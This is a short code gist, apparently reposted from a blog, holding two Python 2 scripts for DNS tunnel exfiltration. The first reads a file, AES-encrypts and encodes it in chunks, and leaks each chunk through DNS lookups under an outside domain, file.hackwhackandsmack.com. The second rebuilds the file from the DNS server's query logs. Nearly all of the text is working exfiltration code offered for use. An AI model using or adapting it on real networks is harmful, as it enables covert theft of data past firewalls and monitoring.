DNS tunnel exfiltration from http://www.hackwhackandsmack.com/?p=122

gistfile1.py

#!/usr/bin/env python
from Crypto.Cipher import AES
import base64
import socket
from Crypto.Hash import MD5
 
DNS_ZONE = “file.hackwhackandsmack.com”
socket.setdefaulttimeout(1)
 
#static password can be taken as an input later
password = (‘Works for me!!’)
#generate a 32 bit key
secret = MD5.new(password).hexdigest()
 
#specify blocksize
BLOCK_SIZE = 32
#padding character
PADDING = ‘A’
pad = lambda s: s + (BLOCK_SIZE – len(s) % BLOCK_SIZE) * PADDING
EncodeAES = lambda c, s: base64.urlsafe_b64encode(c.encrypt(pad(s)))
 
cipher = AES.new(secret)
 
def break_file(filename):
try:
fp = file(filename, ‘rb’)
part = 0
while 1:
data = fp.read(32)
if data:
try:
encoded = EncodeAES(cipher, data)
part = part+1
print part
print ‘Encrypted string:’, encoded
socket.gethostbyname(encoded + DNS_ZONE)
except Exception:
continue
else:
print “Complete”
break
fp.close()
except Exception, e:
print e
 
#run
break_file(‘test.txt’)
##EOF##
 
To reassemble on the other side I used the following code:
 
from Crypto.Cipher import AES
import base64
from Crypto.Hash import MD5
 password = (‘Works for me!!’)
secret = MD5.new(password).hexdigest()
BLOCK_SIZE = 32
PADDING = ‘A’
pad = lambda s: s + (BLOCK_SIZE – len(s) % BLOCK_SIZE) * PADDING
DecodeAES = lambda c, e: c.decrypt(base64.urlsafe_b64decode(e)).rstrip(PADDING)
cipher = AES.new(secret)
file_chunks = []
def back(chunk):
encoded = chunk.split(“.”)[0]
decoded = DecodeAES(cipher, encoded)
file_chunks.append(decoded)
queries = []
fp = open(“log-encrypt.txt”)
lines = fp.readlines()
fp.close()
 
for line in lines:
if “file.hackwhackandsmack.com” in line:
if “cache” in line:
FQDN = line.split()[9]
queries.append(FQDN.strip())
 
uqueries = set(queries)
 for i in uqueries:
back(i)
 file_list = reversed(file_chunks)
file = “”.join(file_list)
print file
##EOF##